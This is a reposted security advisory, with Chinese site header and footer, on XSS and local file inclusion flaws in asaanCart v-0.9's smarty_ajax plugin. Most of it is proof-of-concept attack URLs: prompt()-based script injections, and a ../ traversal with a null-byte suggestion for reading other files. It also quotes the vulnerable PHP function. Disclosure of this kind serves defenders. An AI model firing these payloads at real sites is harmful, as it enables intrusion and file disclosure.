来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 标题:[asaanCart XSS/LFI Vulnerabilities]作者:[Number 7]~ Twitter:[@TunisianSeven]测试平台:[Linux]软件开发者:[http://asaancart.wordpress.com/]下载地址:[http://sourceforge.net/projects/asaancart......
标题:[asaanCart XSS/LFI Vulnerabilities]
作者:[Number 7]~ Twitter:[@TunisianSeven] 测试平台:[Linux] 软件开发者:[http://asaancart.wordpress.com/] 下载地址:[http://sourceforge.net/projects/asaancart/] 影响版本:[v-0.9] ______________________________________________________________________________________ The bug is based on smarty_ajax plugin which is included in this script and other scripts as well ! 测试: Html Injection + Cross site scripting: (for the xss 你需要用IExplorer Or mozilla Firefox) ===> http://localhost/asaancart%20v-0.9/libs/smarty_ajax/calc.php/%22onmouseover=prompt(944322)%3E%3Cu%3E%3Cbig%3E%3Cbig%3E%3Cbig%3E%3Cbig%3EInjection%20Here%3C/big%3E%3C/big%3E%3C/big%3E%3C/big%3E%3C/u%3E http://localhost/asaancart%20v-0.9/libs/smarty_ajax/chat.php/%22onmouseover=prompt(998415)%3E%3CBig%3E%3Cbig%3E%3Cbig%3E%3Cbig%3E%3Cu%3EHtml%20Injection%20HerE.%3C/u%3E%3C/Big%3E%3C/big%3E%3C/big%3E%3C/big%3E http://www.2cto.com /asaancart%20v-0.9/libs/smarty_ajax/register.php/%22onmouseover=prompt(970389)%3E%3Cbig%20style=%22color:%20rgb(204,%200,%200);%22%3E%3Cbig%3E%3Cspanstyle=%22font-weight:%20bold;%20font-style:%20italic;%20text-decoration:%20underline;%22%3EHtmlInjection.%3C/span%3E%3C/big%3E%3C/big%3E http://localhost/asaancart%20v-0.9/libs/smarty_ajax/index.php/%22onmouseover=prompt(970389)%3E%3Cbig%20style=%22color:%20rgb(204,%200,%200);%22%3E%3Cbig%3E%3Cspanstyle=%22font-weight:%20bold;%20font-style:%20italic;%20text-decoration:%20underline;%22%3EHtmlInjection.%3C/span%3E%3C/big%3E%3C/big%3E http://localhost/asaancart%20v-0.9/libs/smarty_ajax/index.php?_=&f=update_intro&page=1%3CScRiPt%20%3Eprompt%28949136%29%3C%2fScRiPt%3E 本地文件包含缺陷: Proof: http://localhost/libs/smarty_ajax/index.php lines: 29->33. function update_intro() { global $t; header('Content-Type: text/html; charset=windows-1251'); $t->display('introduction/' . $_GET['page'] . '.tpl'); } Usage[LFI]: http://www.2cto.com /asaancart%20v-0.9/libs/smarty_ajax/index.php?_=&f=update_intro&page=../../../../../templates\add_product 他能包含.tpl格式文件 you can replace it with file.php%00 Or use your immagination .... ___________________________________________________________________ |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com